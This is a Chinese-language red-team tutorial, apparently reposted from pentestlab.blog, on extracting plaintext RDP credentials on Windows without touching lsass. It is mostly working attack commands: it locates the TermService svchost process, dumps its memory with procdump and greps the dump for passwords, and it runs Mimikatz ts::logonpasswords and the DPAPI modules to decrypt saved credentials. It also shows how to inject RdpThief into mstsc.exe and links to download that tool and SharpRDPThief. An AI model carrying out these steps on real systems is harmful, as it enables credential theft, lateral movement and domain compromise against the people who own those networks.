免责声明:
由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责
管理员通常使用远程桌面协议 (RDP) 来远程管理 Windows 环境。在充当跳板机以使用户能够访问其他网络的系统中启用它也是典型的 RDP。然而,虽然这个协议在大多数时候被广泛使用,但是其没有被安全监控或者使用时采用安全措施。
从红队的角度来看,如果已目标机器上存储域管理员帐户的凭据,那么来自 lsass 进程的dump凭据可能会导致在网络上横向移动或直接导致整个域泄露。与 RDP 协议关联的进程也可能在红队的范围内,以收集凭据。
这些进程是:
SVChost.exe
MSTSC.exe
可以将上述进程作为检索凭据的替代方法,这时候无需使用lsass,lsass通常被EDR产品严格监视。
SVChost
svchost.exe是微软Windows操作系统中的系统文件,微软官方对它的解释是:svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,而且是不能被结束的。许多服务通过注入到该程序中启动,所以会有多个该文件的进程。简单来说就是可以托管多个服务以防止资源消耗。当用户通过 RDP 连接进行身份验证时,终端服务由 svchost 进程托管。根据Windows身份验证机制的工作方式,凭据根据Jonas的发现以纯文本形式存储在svchost进程的内存中。但是,查看进程列表,有多个 svchost 进程,因此可以通过执行以下命令之一来识别哪个进程、主机终端服务连接。
查询终端服务:
sc queryex termservice
查询哪个任务加载了 rdpcorets.dll:
tasklist /M:rdpcorets.dll
查看网络连接状态:
netstat -nob | Select-String TermService -Context 1
此命令需要powershell运行,不然会报错。
查看进程的内存字符串,密码显示在用户名下方。
来自 Sysinternals 的进程dump工具也可用于通过指定 PID 和.dmp文件将写入的目录来dump内存。
procdump64.exe -ma 988 -accepteula C:\Users\pentestlab
.dmp
文件可以进行离线分析。执行简单的 grep 将检索存储在内存文件中的密码。
strings -el svchost* | grep Password123 -C3
上述方法并不完全可靠。但是,Mimikatz 支持通过执行以下命令从现有 RDP 连接检索凭据:
privilege::debug
ts::logonpasswords
MSTSC
mstsc.exe 进程是在用户打开远程桌面连接应用程序以便通过 RDP 协议连接到其他系统时创建的。API hooking可用于拦截用户提供的凭据并将其用于横向移动。Rio Sherri开发了一个名为RdpThief的概念验证工具,该工具试图hooking mstsc process(CredIsMarshaledCredentialW和CryptProtectMemory)使用的函数,以便检索凭据并将其写入磁盘上的文件。
至于该工具的具体使用可以查看一下链接:
https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/
工具下载地址如下:
https://github.com/0x09AL/RdpThief
从mstsc.exe 正在运行的系统需要将 DLL 注入到进程中。
SimpleInjector.exe mstsc.exe RdpThief.dll
用户输入用于向目标主机进行身份验证的凭据后,这些凭据将被捕获并写入 C:\temp 文件夹上的文件中。
文件还将包括 IP 地址。此信息可用于在网络中横向移动,甚至在使用提升的帐户时提升权限。
该工具已由Josh Magri用C#
重写。然而,与RdpThief相比,SharpRDPThief使用IPC服务器来接收来自mstsc.exe进程的凭据。如果 mstsc.exe 终止,服务器将继续运行,当进程再次启动时,将尝试执行挂钩。这消除了RdpThief的限制,即该过程应该已经存在。
SharpRDPThief工具下载地址:
https://github.com/passthehashbrowns/SharpRDPThief
RDP文件
通过 RDP 连接对特定主机进行多次身份验证的用户可能会保存连接详细信息以进行快速身份验证。这些凭据通过使用数据保护 API 以加密形式存储在 Windows 的凭据管理器中。
Windows 凭据在磁盘上的位置如下:
C:\Users\username\AppData\Local\Microsoft\Credentials
该文件可以通过Mimikatz二进制文件查看:
dpapi::cred /in:C:\Users\pentestlab\AppData\Local\Microsoft\Credentials\ACC240EEE479C1B634EC496F9838074B
“pbData”字段包含加密形式的信息。但是,用于解密的主密钥存储在 lsass 中,可以通过执行以下 Mimikatz 模块来检索。“guidMasterKey”也很重要,因为在查询 lsass 时可能存在多个条目,并且需要将 GUID 与主密钥匹配。
sekurlsa::dpapi
使用主密钥开关再次执行 dpapi::cred 模块将因此解密内容和 RDP 凭据以纯文本形式披露。
dpapi::cred /in:C:\Users\pentestlab\AppData\Local\Microsoft\Credentials\ACC240EEE479C1B634EC496F9838074B
/masterkey:05d8e693421698148d8a4692f27263201f1c65e0b3ac08e3be91ea75f43e71e9b398e2418ba0f0c62ea70a317bdba88f11da3adebd07d65d2b349f933eab85e1
执行以下命令将提供这些凭据所属服务器的详细信息。
vault::list
参考🔗
https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/
https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/
https://github.com/0x09AL/RdpThief
https://github.com/mantvydasb/RdpThief
https://github.com/passthehashbrowns/SharpRDPThief
https://www.ired.team/offensive-security/code-injection-process-injection/api-monitoring-and-hooking-for-offensive-tooling
https://labs.f-secure.com/blog/attack-detection-fundamentals-2021-windows-lab-3/
文章来源
https://pentestlab.blog/page/19/